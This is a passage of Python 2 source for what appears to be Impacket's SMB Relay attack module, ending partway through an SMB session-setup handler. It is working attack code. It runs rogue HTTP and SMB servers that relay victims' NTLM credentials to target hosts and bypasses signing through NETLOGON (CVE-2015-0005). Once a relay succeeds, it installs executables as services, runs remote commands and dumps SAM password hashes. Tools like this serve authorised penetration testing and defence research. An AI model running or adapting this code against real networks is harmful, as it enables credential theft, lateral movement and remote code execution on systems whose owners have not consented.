1#!/usr/bin/env python
2# Copyright (c) 2013-2016 CORE Security Technologies
3#
4# This software is provided under under a slightly modified version
5# of the Apache Software License. See the accompanying LICENSE file
6# for more information.
7#
8# SMB Relay Module
9#
10# Author:
11#  Alberto Solino (@agsolino)
12#
13# Description:
14#             This module performs the SMB Relay attacks originally discovered
15# by cDc. It receives a list of targets and for every connection received it
16# will choose the next target and try to relay the credentials. Also, if
17# specified, it will first to try authenticate against the client connecting
18# to us.
19#
20# It is implemented by invoking a SMB and HTTP Server, hooking to a few
21# functions and then using the smbclient portion. It is supposed to be
22# working on any LM Compatibility level. The only way to stop this attack
23# is to enforce on the server SPN checks and or signing.
24#
25# If the target system is enforcing signing and a machine account was provided,
26# the module will try to gather the SMB session key through
27# NETLOGON (CVE-2015-0005)
28#
29# If the authentication against the targets succeed, the client authentication
30# success as well and a valid connection is set against the local smbserver.
31# It's up to the user to set up the local smbserver functionality. One option
32# is to set up shares with whatever files you want to the victim thinks it's
33# connected to a valid SMB server. All that is done through the smb.conf file or
34# programmatically.
35#
36
37import ConfigParser
38import SimpleHTTPServer
39import SocketServer
40import argparse
41import base64
42import logging
43import os
44import sys
45from binascii import unhexlify, hexlify
46from struct import pack, unpack
47from threading import Thread
48
49from impacket import version
50from impacket.dcerpc.v5 import nrpc
51from impacket.dcerpc.v5 import transport
52from impacket.dcerpc.v5.ndr import NULL
53from impacket.dcerpc.v5.rpcrt import DCERPCException
54from impacket.examples import logger
55from impacket.examples import serviceinstall
56from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections, SOCKS
57from impacket.nt_errors import ERROR_MESSAGES
58from impacket.nt_errors import STATUS_LOGON_FAILURE, STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_NOT_SUPPORTED, \
59    STATUS_MORE_PROCESSING_REQUIRED
60from impacket.ntlm import NTLMAuthChallengeResponse, NTLMAuthNegotiate, NTLMAuthChallenge, AV_PAIRS, \
61    NTLMSSP_AV_HOSTNAME, generateEncryptedSessionKey
62from impacket.smb import NewSMBPacket, SMBCommand, SMB, SMBSessionSetupAndX_Data, SMBSessionSetupAndX_Extended_Data, \
63    SMBSessionSetupAndX_Extended_Response_Parameters, SMBSessionSetupAndX_Extended_Response_Data, \
64    SMBSessionSetupAndX_Parameters, SMBSessionSetupAndX_Extended_Parameters, TypesMech, \
65    SMBSessionSetupAndXResponse_Parameters, SMBSessionSetupAndXResponse_Data
66from impacket.smb3 import SMB3
67from impacket.smbconnection import SMBConnection
68from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile, SMBSERVER
69from impacket.spnego import ASN1_AID, SPNEGO_NegTokenResp, SPNEGO_NegTokenInit
70
71try:
72 from Crypto.Cipher import DES, AES, ARC4
73except Exception:
74    logging.critical("Warning: You don't have any crypto installed. You need PyCrypto")
75    logging.critical("See http://www.pycrypto.org/")
76
77# Global Variables
78# This is the list of hosts that have been attacked already in case -one-shot was chosen
79ATTACKED_HOSTS = set()
80CODEC = sys.getdefaultencoding()
81
82class doAttack(Thread):
83    def __init__(self, SMBClient, exeFile, command):
84        Thread.__init__(self)
85
86        if isinstance(SMBClient, SMB) or isinstance(SMBClient, SMB3):
87            self.__SMBConnection = SMBConnection(existingConnection = SMBClient)
88        else:
89            self.__SMBConnection = SMBClient
90
91        self.__exeFile = exeFile
92        self.__command = command
93        self.__answerTMP = ''
94        if exeFile is not None:
95            self.installService = serviceinstall.ServiceInstall(SMBClient, exeFile)
96
97    def __answer(self, data):
98        self.__answerTMP += data
99
100    def run(self):
101        # Here PUT YOUR CODE!
102        global ATTACKED_HOSTS
103        if self.__exeFile is not None:
104            result = self.installService.install()
105            if result is True:
106                logging.info("Service Installed.. CONNECT!")
107                self.installService.uninstall()
108            else:
109                ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost())
110        else:
111            from impacket.examples.secretsdump import RemoteOperations, SAMHashes
112            samHashes = None
113            try:
114                # We have to add some flags just in case the original client did not
115                # Why? needed for avoiding INVALID_PARAMETER
116                flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
117                flags2 |= SMB.FLAGS2_LONG_NAMES
118                self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)
119
120                remoteOps  = RemoteOperations(self.__SMBConnection, False)
121                remoteOps.enableRegistry()
122            except Exception, e:
123                if logging.getLogger().level == logging.DEBUG:
124                    import traceback
125                    traceback.print_exc()
126                # Something wen't wrong, most probably we don't have access as admin. aborting
127                logging.error(str(e))
128                ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost())
129                return
130
131            try:
132                if self.__command is not None:
133                    remoteOps._RemoteOperations__executeRemote(self.__command)
134                    logging.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost())
135                    self.__answerTMP = ''
136                    self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
137                    logging.debug('Raw answer %r' % self.__answerTMP)
138
139                    try:
140                        print self.__answerTMP.decode(CODEC)
141                    except UnicodeDecodeError, e:
142                        logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with '
143                                      'https://docs.python.org/2.4/lib/standard-encodings.html\nand then execute wmiexec.py '
144                                  'again with -codec and the corresponding codec')
145                        print self.__answerTMP
146
147                    self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
148                else:
149                    bootKey = remoteOps.getBootKey()
150                    remoteOps._RemoteOperations__serviceDeleted = True
151                    samFileName = remoteOps.saveSAM()
152                    samHashes = SAMHashes(samFileName, bootKey, isRemote = True)
153                    samHashes.dump()
154                    logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost())
155            except Exception, e:
156                if logging.getLogger().level == logging.DEBUG:
157                    import traceback
158                    traceback.print_exc()
159                ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost())
160                logging.error(str(e))
161            finally:
162                if samHashes is not None:
163                    samHashes.finish()
164                if remoteOps is not None:
165                    remoteOps.finish()
166            try:
167                ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost())
168            except Exception, e:
169                logging.error(str(e))
170                pass
171
172
173class SMBClient(SMB):
174    def __init__(self, remote_name, extended_security = True, sess_port = 445):
175        self._extendedSecurity = extended_security
176        self.domainIp = None
177        self.machineAccount = None
178        self.machineHashes = None
179
180        SMB.__init__(self,remote_name, remote_name, sess_port = sess_port)
181
182    def neg_session(self):
183        neg_sess = SMB.neg_session(self, extended_security = self._extendedSecurity)
184        return neg_sess
185
186    def setUid(self,uid):
187        self._uid = uid
188
189    def login_standard(self, user, domain, ansiPwd, unicodePwd):
190        smb = NewSMBPacket()
191        smb['Flags1']  = 8
192
193        sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
194        sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters()
195        sessionSetup['Data']       = SMBSessionSetupAndX_Data()
196
197        sessionSetup['Parameters']['MaxBuffer']        = 65535
198        sessionSetup['Parameters']['MaxMpxCount']      = 2
199        sessionSetup['Parameters']['VCNumber']         = os.getpid()
200        sessionSetup['Parameters']['SessionKey']       = self._dialects_parameters['SessionKey']
201        sessionSetup['Parameters']['AnsiPwdLength']    = len(ansiPwd)
202        sessionSetup['Parameters']['UnicodePwdLength'] = len(unicodePwd)
203        sessionSetup['Parameters']['Capabilities']     = SMB.CAP_RAW_MODE
204
205        sessionSetup['Data']['AnsiPwd']       = ansiPwd
206        sessionSetup['Data']['UnicodePwd']    = unicodePwd
207        sessionSetup['Data']['Account']       = str(user)
208        sessionSetup['Data']['PrimaryDomain'] = str(domain)
209        sessionSetup['Data']['NativeOS']      = 'Unix'
210        sessionSetup['Data']['NativeLanMan']  = 'Samba'
211
212        smb.addCommand(sessionSetup)
213
214        self.sendSMB(smb)
215        smb = self.recvSMB()
216        try:
217            smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
218        except:
219            logging.error("Error login_standard")
220            return None, STATUS_LOGON_FAILURE
221        else:
222            self._uid = smb['Uid']
223            return smb, STATUS_SUCCESS
224
225    def setDomainAccount( self, machineAccount,  machineHashes, domainIp):
226        self.machineAccount = machineAccount
227        self.machineHashes = machineHashes
228        self.domainIp = domainIp
229        if self._SignatureRequired is True:
230            if self.domainIp is None:
231                logging.error("Signature is REQUIRED on the other end, attack will not work")
232            else:
233                logging.info("Signature is REQUIRED on the other end, using NETLOGON approach")
234
235
236    def netlogonSessionKey(self, challenge, authenticateMessageBlob):
237        # Here we will use netlogon to get the signing session key
238        logging.info("Connecting to %s NETLOGON service" % self.domainIp)
239
240        respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
241        authenticateMessage = NTLMAuthChallengeResponse()
242        authenticateMessage.fromString(respToken2['ResponseToken'] )
243        _, machineAccount = self.machineAccount.split('/')
244        domainName = authenticateMessage['domain_name'].decode('utf-16le')
245
246        try:
247            av_pairs = authenticateMessage['ntlm'][44:]
248            av_pairs = AV_PAIRS(av_pairs)
249
250            serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode('utf-16le')
251        except:
252            # We're in NTLMv1, not supported
253            return STATUS_ACCESS_DENIED
254
255        stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.domainIp
256
257        rpctransport = transport.DCERPCTransportFactory(stringBinding)
258
259        if len(self.machineHashes) > 0:
260            lmhash, nthash = self.machineHashes.split(':')
261        else:
262            lmhash = ''
263            nthash = ''
264
265        if hasattr(rpctransport, 'set_credentials'):
266            # This method exists only for selected protocol sequences.
267            rpctransport.set_credentials(machineAccount,'', domainName, lmhash, nthash)
268
269        dce = rpctransport.get_dce_rpc()
270        dce.connect()
271        dce.bind(nrpc.MSRPC_UUID_NRPC)
272        resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName+'\x00', '12345678')
273
274        serverChallenge = resp['ServerChallenge']
275
276        if self.machineHashes == '':
277            ntHash = None
278        else:
279            ntHash = unhexlify(self.machineHashes.split(':')[1])
280
281        sessionKey = nrpc.ComputeSessionKeyStrongKey('', '12345678', serverChallenge, ntHash)
282
283        ppp = nrpc.ComputeNetlogonCredential('12345678', sessionKey)
284
285        nrpc.hNetrServerAuthenticate3(dce, NULL, machineAccount + '\x00',
286                                      nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, serverName + '\x00',
287                                      ppp, 0x600FFFFF)
288
289        clientStoredCredential = pack('<Q', unpack('<Q',ppp)[0] + 10)
290
291        # Now let's try to verify the security blob against the PDC
292
293        request = nrpc.NetrLogonSamLogonWithFlags()
294        request['LogonServer'] = '\x00'
295        request['ComputerName'] = serverName + '\x00'
296        request['ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4
297
298        request['LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
299        request['LogonInformation']['tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
300        request['LogonInformation']['LogonNetworkTransitive']['Identity']['LogonDomainName'] = domainName
301        request['LogonInformation']['LogonNetworkTransitive']['Identity']['ParameterControl'] = 0
302        request['LogonInformation']['LogonNetworkTransitive']['Identity']['UserName'] = authenticateMessage[
303            'user_name'].decode('utf-16le')
304        request['LogonInformation']['LogonNetworkTransitive']['Identity']['Workstation'] = ''
305        request['LogonInformation']['LogonNetworkTransitive']['LmChallenge'] = challenge
306        request['LogonInformation']['LogonNetworkTransitive']['NtChallengeResponse'] = authenticateMessage['ntlm']
307        request['LogonInformation']['LogonNetworkTransitive']['LmChallengeResponse'] = authenticateMessage['lanman']
308
309        authenticator = nrpc.NETLOGON_AUTHENTICATOR()
310        authenticator['Credential'] = nrpc.ComputeNetlogonCredential(clientStoredCredential, sessionKey)
311        authenticator['Timestamp'] = 10
312
313        request['Authenticator'] = authenticator
314        request['ReturnAuthenticator']['Credential'] = '\x00'*8
315        request['ReturnAuthenticator']['Timestamp'] = 0
316        request['ExtraFlags'] = 0
317        #request.dump()
318        try:
319            resp = dce.request(request)
320            #resp.dump()
321        except DCERPCException, e:
322            if logging.getLogger().level == logging.DEBUG:
323                import traceback
324                traceback.print_exc()
325            logging.error(str(e))
326            return e.get_error_code()
327
328        logging.info("%s\\%s successfully validated through NETLOGON" % (
329        domainName, authenticateMessage['user_name'].decode('utf-16le')))
330
331        encryptedSessionKey = authenticateMessage['session_key']
332        if encryptedSessionKey != '':
333            signingKey = generateEncryptedSessionKey(
334                resp['ValidationInformation']['ValidationSam4']['UserSessionKey'], encryptedSessionKey)
335        else:
336            signingKey = resp['ValidationInformation']['ValidationSam4']['UserSessionKey']
337
338        logging.info("SMB Signing key: %s " % hexlify(signingKey))
339
340        self.set_session_key(signingKey)
341
342        self._SignatureEnabled = True
343        self._SignSequenceNumber = 2
344        self.set_flags(flags1 = SMB.FLAGS1_PATHCASELESS, flags2 = SMB.FLAGS2_EXTENDED_SECURITY)
345        return STATUS_SUCCESS
346
347    def sendAuth(self, serverChallenge, authenticateMessageBlob):
348        smb = NewSMBPacket()
349        smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
350        smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY
351        # Are we required to sign SMB? If so we do it, if not we skip it
352        if self._SignatureRequired:
353           smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
354        smb['Uid'] = self._uid
355
356        sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
357        sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
358        sessionSetup['Data']       = SMBSessionSetupAndX_Extended_Data()
359
360        sessionSetup['Parameters']['MaxBufferSize']        = 65535
361        sessionSetup['Parameters']['MaxMpxCount']          = 2
362        sessionSetup['Parameters']['VcNumber']             = 1
363        sessionSetup['Parameters']['SessionKey']           = 0
364        sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE
365
366        # Fake Data here, don't want to get us fingerprinted
367        sessionSetup['Data']['NativeOS']      = 'Unix'
368        sessionSetup['Data']['NativeLanMan']  = 'Samba'
369
370        sessionSetup['Parameters']['SecurityBlobLength'] = len(authenticateMessageBlob)
371        sessionSetup['Data']['SecurityBlob'] = str(authenticateMessageBlob)
372        smb.addCommand(sessionSetup)
373        self.sendSMB(smb)
374
375        smb = self.recvSMB()
376        errorCode = smb['ErrorCode'] << 16
377        errorCode += smb['_reserved'] << 8
378        errorCode += smb['ErrorClass']
379
380        if errorCode == STATUS_SUCCESS and self._SignatureRequired is True and self.domainIp is not None:
381            try:
382                errorCode = self.netlogonSessionKey(serverChallenge, authenticateMessageBlob)
383            except:
384                if logging.getLogger().level == logging.DEBUG:
385                    import traceback
386                    traceback.print_exc()
387                raise
388
389        return smb, errorCode
390
391    def sendNegotiate(self, negotiateMessage):
392        smb = NewSMBPacket()
393        smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
394        smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY
395        # Are we required to sign SMB? If so we do it, if not we skip it
396        if self._SignatureRequired:
397           smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
398
399
400        sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
401        sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
402        sessionSetup['Data']       = SMBSessionSetupAndX_Extended_Data()
403
404        sessionSetup['Parameters']['MaxBufferSize']        = 65535
405        sessionSetup['Parameters']['MaxMpxCount']          = 2
406        sessionSetup['Parameters']['VcNumber']             = 1
407        sessionSetup['Parameters']['SessionKey']           = 0
408        sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE
409
410        # Let's build a NegTokenInit with the NTLMSSP
411        # TODO: In the future we should be able to choose different providers
412
413        blob = SPNEGO_NegTokenInit()
414
415        # NTLMSSP
416        blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
417        blob['MechToken'] = str(negotiateMessage)
418
419        sessionSetup['Parameters']['SecurityBlobLength']  = len(blob)
420        sessionSetup['Parameters'].getData()
421        sessionSetup['Data']['SecurityBlob']       = blob.getData()
422
423        # Fake Data here, don't want to get us fingerprinted
424        sessionSetup['Data']['NativeOS']      = 'Unix'
425        sessionSetup['Data']['NativeLanMan']  = 'Samba'
426
427        smb.addCommand(sessionSetup)
428        self.sendSMB(smb)
429        smb = self.recvSMB()
430
431        try:
432            smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
433        except Exception:
434            logging.error("SessionSetup Error!")
435            raise
436        else:
437            # We will need to use this uid field for all future requests/responses
438            self._uid = smb['Uid']
439
440            # Now we have to extract the blob to continue the auth process
441            sessionResponse   = SMBCommand(smb['Data'][0])
442            sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(sessionResponse['Parameters'])
443            sessionData       = SMBSessionSetupAndX_Extended_Response_Data(flags = smb['Flags2'])
444            sessionData['SecurityBlobLength'] = sessionParameters['SecurityBlobLength']
445            sessionData.fromString(sessionResponse['Data'])
446            respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob'])
447
448            return respToken['ResponseToken']
449
450class HTTPRelayServer(Thread):
451    class HTTPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
452        def __init__(self, server_address, RequestHandlerClass, target, exeFile, command, mode, outputFile,
453                     one_shot, returnStatus=STATUS_SUCCESS, runSocks = False):
454            self.target = target
455            self.exeFile = exeFile
456            self.command = command
457            self.mode = mode
458            self.returnStatus = returnStatus
459            self.outputFile = outputFile
460            self.one_shot = one_shot
461            self.runSocks = runSocks
462
463            SocketServer.TCPServer.__init__(self,server_address, RequestHandlerClass)
464
465    class HTTPHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
466        def __init__(self,request, client_address, server):
467            self.server = server
468            self.protocol_version = 'HTTP/1.1'
469            self.challengeMessage = None
470            self.target = None
471            self.client = None
472            self.machineAccount = None
473            self.machineHashes = None
474            self.domainIp = None
475
476            global ATTACKED_HOSTS
477            if self.server.target in ATTACKED_HOSTS and self.server.one_shot:
478                logging.info(
479                    "HTTPD: Received connection from %s, skipping %s, already attacked" % (
480                    client_address[0], self.server.target))
481                return
482
483            if self.server.target is not None:
484                logging.info(
485                    "HTTPD: Received connection from %s, attacking target %s" % (client_address[0], self.server.target))
486            else:
487                logging.info(
488                    "HTTPD: Received connection from %s, attacking target %s" % (client_address[0], client_address[0]))
489            SimpleHTTPServer.SimpleHTTPRequestHandler.__init__(self,request, client_address, server)
490
491        def handle_one_request(self):
492            try:
493                SimpleHTTPServer.SimpleHTTPRequestHandler.handle_one_request(self)
494            except:
495                pass
496
497        def log_message(self, format, *args):
498            return
499
500        def do_HEAD(self):
501            self.send_response(200)
502            self.send_header('Content-type', 'text/html')
503            self.end_headers()
504
505        def do_AUTHHEAD(self, message = ''):
506            self.send_response(401)
507            self.send_header('WWW-Authenticate', message)
508            self.send_header('Content-type', 'text/html')
509            self.send_header('Content-Length','0')
510            self.end_headers()
511
512        def send_error(self, code, message=None):
513            if message.find('RPC_OUT') >=0 or message.find('RPC_IN'):
514                return self.do_GET()
515            return SimpleHTTPServer.SimpleHTTPRequestHandler.send_error(self,code,message)
516
517        def do_GET(self):
518            messageType = 0
519            if self.headers.getheader('Authorization') is None:
520                self.do_AUTHHEAD(message = 'NTLM')
521                pass
522            else:
523                #self.do_AUTHHEAD()
524                typeX = self.headers.getheader('Authorization')
525                try:
526                    _, blob = typeX.split('NTLM')
527                    token =  base64.b64decode(blob.strip())
528                except:
529                    self.do_AUTHHEAD()
530                messageType = unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]
531
532            if messageType == 1:
533                if self.server.mode.upper() == 'REFLECTION':
534                    self.target = self.client_address[0]
535                else:
536                    self.target = self.server.target
537                try:
538                    if self.client is not None:
539                        logging.error('Still performing an attack against %s' % self.client.get_remote_host())
540                        self.send_response(404)
541                        self.end_headers()
542                        return
543
544                    self.client = SMBClient(self.target, extended_security = True)
545                    self.client.setDomainAccount(self.machineAccount, self.machineHashes, self.domainIp)
546                    self.client.set_timeout(60)
547                except Exception, e:
548                   logging.error("Connection against target %s FAILED" % self.target)
549                   logging.error(str(e))
550
551                clientChallengeMessage = self.client.sendNegotiate(token)
552                self.challengeMessage = NTLMAuthChallenge()
553                self.challengeMessage.fromString(clientChallengeMessage)
554                self.do_AUTHHEAD(message = 'NTLM '+base64.b64encode(clientChallengeMessage))
555
556            elif messageType == 3:
557
558                authenticateMessage = NTLMAuthChallengeResponse()
559                authenticateMessage.fromString(token)
560                if authenticateMessage['user_name'] != '' or self.target == '127.0.0.1':
561                    respToken2 = SPNEGO_NegTokenResp()
562                    respToken2['ResponseToken'] = str(token)
563                    clientResponse, errorCode = self.client.sendAuth(self.challengeMessage['challenge'],
564                                                                     respToken2.getData())
565                else:
566                    # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials, except
567                    # when coming from localhost
568                    errorCode = STATUS_ACCESS_DENIED
569
570                if errorCode != STATUS_SUCCESS:
571                    logging.error("Authenticating against %s as %s\%s FAILED" % (
572                    self.target, authenticateMessage['domain_name'], authenticateMessage['user_name']))
573                    self.do_AUTHHEAD('NTLM')
574                else:
575                    # Relay worked, do whatever we want here...
576                    logging.info("Authenticating against %s as %s\%s SUCCEED" % (
577                    self.target, authenticateMessage['domain_name'], authenticateMessage['user_name']))
578                    ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'],
579                                                        authenticateMessage['user_name'],
580                                                        authenticateMessage['domain_name'],
581                                                        authenticateMessage['lanman'], authenticateMessage['ntlm'])
582                    logging.info(ntlm_hash_data['hash_string'])
583                    if self.server.outputFile is not None:
584                        writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
585                                              self.server.outputFile)
586
587                    # Target will be attacked, adding to the attacked set
588                    # If the attack fails, the doAttack thread will be responsible of removing it from the set
589                    global ATTACKED_HOSTS
590                    if self.target not in ATTACKED_HOSTS:
591                        ATTACKED_HOSTS.add(self.target)
592                        if self.server.runSocks is True:
593                            # Pass all the data to the socksplugins proxy
594                            activeConnections.put(
595                                (self.target, 445, authenticateMessage['user_name'], self.client, {'CHALLENGE_MESSAGE': self.challengeMessage}))
596                            logging.info("Adding %s(445) to active SOCKS connection. Enjoy" % self.target)
597                        else:
598                            clientThread = doAttack(self.client,self.server.exeFile,self.server.command)
599                            self.client = None
600                            clientThread.start()
601                    else:
602                        logging.error('%s is being attacker at the moment, skipping.. ' % self.target)
603
604                    # And answer 404 not found
605                    self.send_response(404)
606                    self.send_header('WWW-Authenticate', 'NTLM')
607                    self.send_header('Content-type', 'text/html')
608                    self.send_header('Content-Length','0')
609                    self.end_headers()
610            return
611
612    def __init__(self, outputFile=None):
613        Thread.__init__(self)
614        self.daemon = True
615        self.domainIp = None
616        self.machineAccount = None
617        self.machineHashes = None
618        self.exeFile = None
619        self.command = None
620        self.target = None
621        self.mode = None
622        self.outputFile = outputFile
623        self.one_shot = False
624        self.runSocks = False
625
626    def setTargets(self, target):
627        self.target = target
628
629    def setExeFile(self, filename):
630        self.exeFile = filename
631
632    def setCommand(self, command):
633        self.command = command
634
635    def setSocks(self, socks):
636        self.runSocks = socks
637
638    def setReturnStatus(self, returnStatus):
639        # Not implemented yet.
640        pass
641
642    def setMode(self,mode, one_shot):
643        self.mode = mode
644        self.one_shot = one_shot
645
646    def setDomainAccount( self, machineAccount,  machineHashes, domainIp):
647        self.machineAccount = machineAccount
648        self.machineHashes = machineHashes
649        self.domainIp = domainIp
650
651    def run(self):
652        logging.info("Setting up HTTP Server")
653        httpd = self.HTTPServer(("", 80), self.HTTPHandler, self.target, self.exeFile, self.command, self.mode,
654                                self.outputFile, self.one_shot, runSocks = self.runSocks)
655        httpd.serve_forever()
656
657class SMBRelayServer(Thread):
658    def __init__(self, outputFile = None):
659        Thread.__init__(self)
660        self.daemon = True
661        self.server = 0
662        self.target = ''
663        self.mode = 'REFLECTION'
664        self.domainIp = None
665        self.machineAccount = None
666        self.machineHashes = None
667        self.exeFile = None
668        self.returnStatus = STATUS_SUCCESS
669        self.command = None
670        self.one_shot = False
671        self.runSocks = False
672
673        # Here we write a mini config for the server
674        smbConfig = ConfigParser.ConfigParser()
675        smbConfig.add_section('global')
676        smbConfig.set('global','server_name','server_name')
677        smbConfig.set('global','server_os','UNIX')
678        smbConfig.set('global','server_domain','WORKGROUP')
679        smbConfig.set('global','log_file','smb.log')
680        smbConfig.set('global','credentials_file','')
681
682        if outputFile is not None:
683            smbConfig.set('global','jtr_dump_path',outputFile)
684
685        # IPC always needed
686        smbConfig.add_section('IPC$')
687        smbConfig.set('IPC$','comment','')
688        smbConfig.set('IPC$','read only','yes')
689        smbConfig.set('IPC$','share type','3')
690        smbConfig.set('IPC$','path','')
691
692        self.server = SMBSERVER(('0.0.0.0',445), config_parser = smbConfig)
693        self.server.processConfigFile()
694
695        self.origSmbComNegotiate = self.server.hookSmbCommand(SMB.SMB_COM_NEGOTIATE, self.SmbComNegotiate)
696        self.origSmbSessionSetupAndX = self.server.hookSmbCommand(SMB.SMB_COM_SESSION_SETUP_ANDX,
697                                                                  self.SmbSessionSetupAndX)
698        # Let's use the SMBServer Connection dictionary to keep track of our client connections as well
699        self.server.addConnection('SMBRelay', '0.0.0.0', 445)
700
701    def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket):
702        connData = smbServer.getConnectionData(connId, checkStatus = False)
703        if self.mode.upper() == 'REFLECTION':
704            self.target = connData['ClientIP']
705        #############################################################
706        # SMBRelay
707        smbData = smbServer.getConnectionData('SMBRelay', False)
708        if smbData.has_key(self.target):
709            # Remove the previous connection and use the last one
710            smbClient = smbData[self.target]['SMBClient']
711            del smbClient
712            del smbData[self.target]
713
714        # Let's check if we already attacked this host.
715        global ATTACKED_HOSTS
716        if self.target in ATTACKED_HOSTS and self.one_shot is True:
717            logging.info("SMBD: Received connection from %s, skipping %s, already attacked" % (
718            connData['ClientIP'], self.target))
719            packet = NewSMBPacket()
720            packet['Flags1'] = SMB.FLAGS1_REPLY
721            packet['Flags2'] = SMB.FLAGS2_NT_STATUS
722            packet['Command'] = recvPacket['Command']
723            packet['Pid'] = recvPacket['Pid']
724            packet['Tid'] = recvPacket['Tid']
725            packet['Mid'] = recvPacket['Mid']
726            packet['Uid'] = recvPacket['Uid']
727            packet['Data'] = '\x00\x00\x00'
728            errorCode = STATUS_NOT_SUPPORTED
729            packet['ErrorCode'] = errorCode >> 16
730            packet['ErrorClass'] = errorCode & 0xff
731
732            return None, [packet], STATUS_NOT_SUPPORTED
733        else:
734            logging.info("SMBD: Received connection from %s, attacking target %s" % (connData['ClientIP'] ,self.target))
735
736        try:
737            if recvPacket['Flags2'] & SMB.FLAGS2_EXTENDED_SECURITY == 0:
738                extSec = False
739            else:
740                if self.mode.upper() == 'REFLECTION':
741                    # Force standard security when doing reflection
742                    logging.info("Downgrading to standard security")
743                    extSec = False
744                    recvPacket['Flags2'] += (~SMB.FLAGS2_EXTENDED_SECURITY)
745                else:
746                    extSec = True
747            client = SMBClient(self.target, extended_security = extSec)
748            client.setDomainAccount(self.machineAccount, self.machineHashes, self.domainIp)
749            client.set_timeout(60)
750        except Exception, e:
751            logging.error("Connection against target %s FAILED" % self.target)
752            logging.error(str(e))
753        else:
754            encryptionKey = client.get_encryption_key()
755            smbData[self.target] = {}
756            smbData[self.target]['SMBClient'] = client
757            if encryptionKey is not None:
758                connData['EncryptionKey'] = encryptionKey
759            smbServer.setConnectionData('SMBRelay', smbData)
760            smbServer.setConnectionData(connId, connData)
761        return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket)
762        #############################################################
763
764    def SmbSessionSetupAndX(self, connId, smbServer, smbCommand, recvPacket):
765
766        connData = smbServer.getConnectionData(connId, checkStatus = False)
767        #############################################################
768        # SMBRelay
769        smbData = smbServer.getConnectionData('SMBRelay', False)
770        #############################################################
771
772        respSMBCommand = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
773        global ATTACKED_HOSTS
774
775        if connData['_dialects_parameters']['Capabilities'] & SMB.CAP_EXTENDED_SECURITY:
776            # Extended security. Here we deal with all SPNEGO stuff
777            respParameters = SMBSessionSetupAndX_Extended_Response_Parameters()
778            respData       = SMBSessionSetupAndX_Extended_Response_Data()
779            sessionSetupParameters = SMBSessionSetupAndX_Extended_Parameters(smbCommand['Parameters'])
780            sessionSetupData = SMBSessionSetupAndX_Extended_Data()
781            sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength']
782            sessionSetupData.fromString(smbCommand['Data'])
783            connData['Capabilities'] = sessionSetupParameters['Capabilities']
784
785            if unpack('B',sessionSetupData['SecurityBlob'][0])[0] != ASN1_AID:
786               # If there no GSSAPI ID, it must be an AUTH packet
787               blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob'])
788               token = blob['ResponseToken']
789            else:
790               # NEGOTIATE packet
791               blob =  SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob'])
792               token = blob['MechToken']
793
794            # Here we only handle NTLMSSP, depending on what stage of the
795            # authentication we are, we act on it
796            messageType = unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]
797
798            if messageType == 0x01:
799                # NEGOTIATE_MESSAGE
800                negotiateMessage = NTLMAuthNegotiate()
801                negotiateMessage.fromString(token)
802                # Let's store it in the connection data
803                connData['NEGOTIATE_MESSAGE'] = negotiateMessage
804
805                #############################################################
